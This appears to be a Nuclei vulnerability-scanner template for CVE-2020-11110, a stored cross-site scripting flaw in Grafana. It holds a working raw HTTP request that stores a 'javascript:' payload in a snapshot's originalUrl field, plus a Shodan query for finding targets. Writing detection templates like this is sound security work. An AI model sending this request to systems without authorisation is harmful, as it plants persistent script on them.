nuclei-templates/cves/2020/CVE-2020-11110.yaml

63 lines
2.5 KiB
YAML
Raw Normal View History

2021-06-20 14:30:19 +00:00
id: CVE-2020-11110
info:
name: Grafana <=6.7.1 - Cross-Site Scripting
2021-06-20 14:30:19 +00:00
author: emadshanab
severity: medium
description: Grafana through 6.7.1 contains an unauthenticated stored cross-site scripting vulnerability due to insufficient input protection in the originalUrl field, which allows an attacker to inject JavaScript code that will be executed after clicking on Open Original Dashboard after visiting the snapshot.
reference:
- https://web.archive.org/web/20210717142945/https://ctf-writeup.revers3c.com/challenges/web/CVE-2020-11110/index.html
- https://github.com/grafana/grafana/pull/23254
- https://security.netapp.com/advisory/ntap-20200810-0002/
- https://nvd.nist.gov/vuln/detail/CVE-2020-11110
- https://hackerone.com/reports/1329433
remediation: This issue can be resolved by updating Grafana to the latest version.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-11110
cwe-id: CWE-79
2022-07-07 10:16:13 +00:00
metadata:
shodan-query: title:"Grafana"
tags: cve,cve2020,xss,grafana,hackerone
2021-06-20 14:30:19 +00:00
requests:
- raw:
- |
POST /api/snapshots HTTP/1.1
Host: {{Hostname}}
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: {{BaseURL}}
content-type: application/json
Connection: close
{"dashboard":{"annotations":{"list":[{"name":"Annotations & Alerts","enable":true,"iconColor":"rgba(0, 211, 255, 1)","type":"dashboard","builtIn":1,"hide":true}]},"editable":true,"gnetId":null,"graphTooltip":0,"id":null,"links":[],"panels":[],"schemaVersion":18,"snapshot":{"originalUrl":"javascript:alert('Revers3c')","timestamp":"2020-03-30T01:24:44.529Z"},"style":"dark","tags":[],"templating":{"list":[]},"time":{"from":null,"to":"2020-03-30T01:24:53.549Z","raw":{"from":"6h","to":"now"}},"timepicker":{"refresh_intervals":["5s","10s","30s","1m","5m","15m","30m","1h","2h","1d"],"time_options":["5m","15m","1h","6h","12h","24h","2d","7d","30d"]},"timezone":"","title":"Dashboard","uid":null,"version":0},"name":"Dashboard","expires":0}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: header
words:
- application/json
- type: word
part: body
words:
- '"deleteKey":'
- '"deleteUrl":'
condition: and
extractors:
- type: regex
part: body
group: 1
regex:
- '"url":"([a-z:/0-9A-Z]+)"'
# Enhanced by mp on 2022/09/02